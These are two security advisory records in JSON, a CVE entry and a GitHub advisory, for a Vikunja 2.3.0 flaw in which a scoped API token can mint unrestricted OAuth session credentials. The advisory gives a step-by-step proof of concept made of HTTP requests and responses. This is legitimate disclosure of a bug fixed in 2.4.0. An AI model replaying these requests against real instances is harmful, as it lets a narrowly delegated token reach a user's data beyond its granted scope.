{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vikunja",
          "vendor": "go-vikunja",
          "versions": [
            {
              "status": "affected",
              "version": "= 2.3.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Vikunja is an open-source self-hosted task management platform. In version 2.3.0, a scoped API token limited to the `oauth.authorize` permission can call `POST /api/v1/oauth/authorize`, obtain an OAuth authorization code, and exchange the code at `POST /api/v1/oauth/token` for a normal bearer JSON Web Token (JWT) and refresh token. The resulting credentials are not restricted by the original API token\u0027s permissions, allowing access to routes outside its declared scope for the same user. Version 2.4.0 fixes the vulnerability."
    }
  ],
  "id": "CVE-2026-57458",
  "lastModified": "2026-10-09T21:17:05.190",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-10-09T21:17:05.190",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-vikunja/vikunja/commit/4ae2e093014881052ed8f8ecd8bcb9adf83dd276"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-v3p6-34mc-hj7v"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-269"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.3.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:40:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.\n\nA token limited to:\n\n```json\n{\"oauth\":[\"authorize\"]}\n```\n\ncan call `/api/v1/oauth/authorize`, receive an OAuth authorization code, exchange it at `/api/v1/oauth/token`, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.\n\n## Affected Component\n\n* Scoped API tokens\n* OAuth authorization flow\n* `POST /api/v1/oauth/authorize`\n* `POST /api/v1/oauth/token`\n\n## Impact\n\nA narrowly scoped API token with only `oauth.authorize` can be converted into normal session credentials for the same user.\n\nThis bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.\n\nRuntime validation showed that the original scoped token could not access `GET /api/v1/user`, but the minted OAuth access token could access:\n\n* `GET /api/v1/user`\n* `GET /api/v1/projects`\n\nNo cross-user access, privilege escalation to admin, or access to another account was validated.\n\n## Technical Details\n\nThe issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.\n\nThe vulnerable chain is:\n\n1. A scoped API token authenticates the request and sets the current user context.\n2. `/api/v1/oauth/authorize` accepts that API-token-authenticated user as a valid OAuth resource owner.\n3. The OAuth authorization endpoint issues an authorization code.\n4. `/api/v1/oauth/token` exchanges that code for a normal bearer JWT and refresh token.\n5. The resulting credentials are not bound to the original API-token permissions.\n\nRelevant code paths:\n\n* `pkg/routes/routes.go`\n\n  * registers `/api/v1/oauth/authorize` in an authenticated API route group that also accepts scoped API tokens\n\n* `pkg/models/api_routes.go`\n\n  * exposes non-CRUD subroutes as API-token permissions\n  * exposes the OAuth authorization endpoint under the `oauth` permission group\n\n* `pkg/routes/api_tokens.go`\n\n  * stores `api_token` and `api_user` in the request context during API-token authentication\n\n* `pkg/user/user.go`\n\n  * treats `api_user` as an authenticated current user\n\n* `pkg/modules/auth/oauth2server/authorize.go`\n\n  * uses the current user and issues an OAuth authorization code\n\n* `pkg/modules/auth/oauth2server/token.go`\n\n  * exchanges the authorization code for a normal JWT and refresh token\n\n## Steps to Reproduce\n\n### 1. Create a scoped API token\n\nCreate an API token with only the following permission:\n\n```json\n{\"oauth\":[\"authorize\"]}\n```\n\nObserved response:\n\n```http\n201 Created\n```\n\nThe returned token had only the `oauth.authorize` permission.\n\n### 2. Negative control: direct access with scoped token fails\n\nRequest:\n\n```http\nGET /api/v1/user\nAuthorization: Bearer \u003cscoped-api-token\u003e\n```\n\nObserved response:\n\n```http\n401 Unauthorized\n```\n\nResponse body:\n\n```json\n{\"code\":11,\"message\":\"missing, malformed, expired or otherwise invalid token provided\"}\n```\n\nThis confirms that the scoped token cannot directly access the normal user route.\n\n### 3. Obtain an OAuth authorization code with the scoped token\n\nRequest:\n\n```http\nPOST /api/v1/oauth/authorize\nAuthorization: Bearer \u003cscoped-api-token\u003e\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n  \"response_type\": \"code\",\n  \"client_id\": \"vikunja\",\n  \"redirect_uri\": \"vikunja-flutter://callback\",\n  \"code_challenge\": \"\u003cpkce-s256-challenge\u003e\",\n  \"code_challenge_method\": \"S256\"\n}\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nResponse body:\n\n```json\n{\n  \"code\": \"\u003credacted\u003e\",\n  \"redirect_uri\": \"vikunja-flutter://callback\",\n  \"state\": \"\"\n}\n```\n\nThe scoped API token successfully obtained an OAuth authorization code.\n\n### 4. Exchange the authorization code for session credentials\n\nRequest:\n\n```http\nPOST /api/v1/oauth/token\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n  \"grant_type\": \"authorization_code\",\n  \"code\": \"\u003credacted\u003e\",\n  \"client_id\": \"vikunja\",\n  \"redirect_uri\": \"vikunja-flutter://callback\",\n  \"code_verifier\": \"\u003coriginal-pkce-verifier\u003e\"\n}\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nResponse body:\n\n```json\n{\n  \"access_token\": \"\u003credacted\u003e\",\n  \"token_type\": \"bearer\",\n  \"expires_in\": 600,\n  \"refresh_token\": \"\u003credacted\u003e\"\n}\n```\n\nThe authorization code was exchanged for a normal access token and refresh token.\n\n### 5. Use the minted access token on normal routes\n\nRequest:\n\n```http\nGET /api/v1/user\nAuthorization: Bearer \u003cminted-oauth-access-token\u003e\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nAdditional scope check:\n\n```http\nGET /api/v1/projects\nAuthorization: Bearer \u003cminted-oauth-access-token\u003e\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nThe minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.\n\n## Expected Behavior\n\nA scoped API token should not be able to obtain credentials with broader permissions than its declared scope.\n\n`/api/v1/oauth/authorize` should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.\n\n## Actual Behavior\n\nA token scoped only to `oauth.authorize` can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.\n\nThe minted credentials are not restricted by the original API-token permissions.",
  "id": "GHSA-v3p6-34mc-hj7v",
  "modified": "2026-10-09T20:40:28Z",
  "published": "2026-10-09T20:40:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-v3p6-34mc-hj7v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/4ae2e093014881052ed8f8ecd8bcb9adf83dd276"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja: Scoped API token can mint unrestricted OAuth session credentials"
}